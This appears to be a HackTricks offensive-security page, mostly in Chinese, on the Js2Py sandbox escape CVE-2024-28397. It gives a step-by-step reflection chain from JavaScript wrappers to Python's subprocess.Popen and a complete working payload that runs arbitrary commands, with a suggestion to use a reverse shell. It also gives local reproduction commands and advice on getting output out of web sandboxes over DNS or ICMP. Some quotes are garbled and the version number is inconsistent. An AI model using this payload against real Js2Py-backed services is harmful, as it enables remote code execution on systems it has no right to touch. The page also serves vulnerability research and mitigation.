Js2Py sandbox escape (CVE-2024-28397)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Js2Py 会把 JavaScript 翻译成 Python 对象,因此即便使用了 js2py.disable_pyimport(),不受信任的 JS 仍然可以遍历 Python 内部结构以到达诸如 subprocess.Popen 这样的危险类。版本 20.74 允许滥用 Js2Py 暴露给 JS 对象的 Python 反射原语,从而在原本“沙箱化”的 JavaScript 中获得 RCE。

Primitive: pivot from JS object wrappers to Python objects

  1. 获取一个由 Python 支撑的对象Object.getOwnPropertyNames({}) 在 Python 空间返回一个 dict_keys 对象。
  2. 恢复属性访问:从该对象获取 .__getattribute__ 并调用它以读取任意属性(例如 "__class__")。
  3. 攀登到 object:从 <class 'dict_keys'> 读取 .__base__ 以到达 Python 的基类 object
  4. 枚举已加载的类:调用 object.__subclasses__() 遍历解释器中已加载的所有类。
  5. 找到 subprocess.Popen:递归搜索子类,查找满足 __module__ == "subprocess"__name__ == "Popen" 的类。
  6. 执行命令:用攻击者控制的参数实例化 Popen 并调用 .communicate() 捕获输出。
示例载荷:利用 Js2Py 到达 subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

为什么这有效:Js2Py 将 Python 对象包装器暴露给 JS,但并未剥离 `__getattribute__`、`__class__`、`__base__` 或 `__subclasses__`。`disable_pyimport()` 只阻止显式的 `pyimport`,但上述链条从未导入任何新的模块;它重用内存中已加载的模块和类。

## 在本地复现该链
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

针对 web 沙箱 的操作

  • 任何将攻击者控制的 JS 传入 js2py.eval_js 的端点(例如 Flask 的 /run_code API),如果进程用户具有 shell 访问权限,则会直接导致 RCE。
  • .communicate() 返回 bytes 时,返回 jsonify({'result': result}) 会失败;应对输出进行 decode,或将输出发送到 DNS/ICMP 以绕过序列化阻碍。
  • disable_pyimport() 不能 缓解此链;需要强隔离(独立进程/容器)或禁止 Js2Py 执行不受信任的代码。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks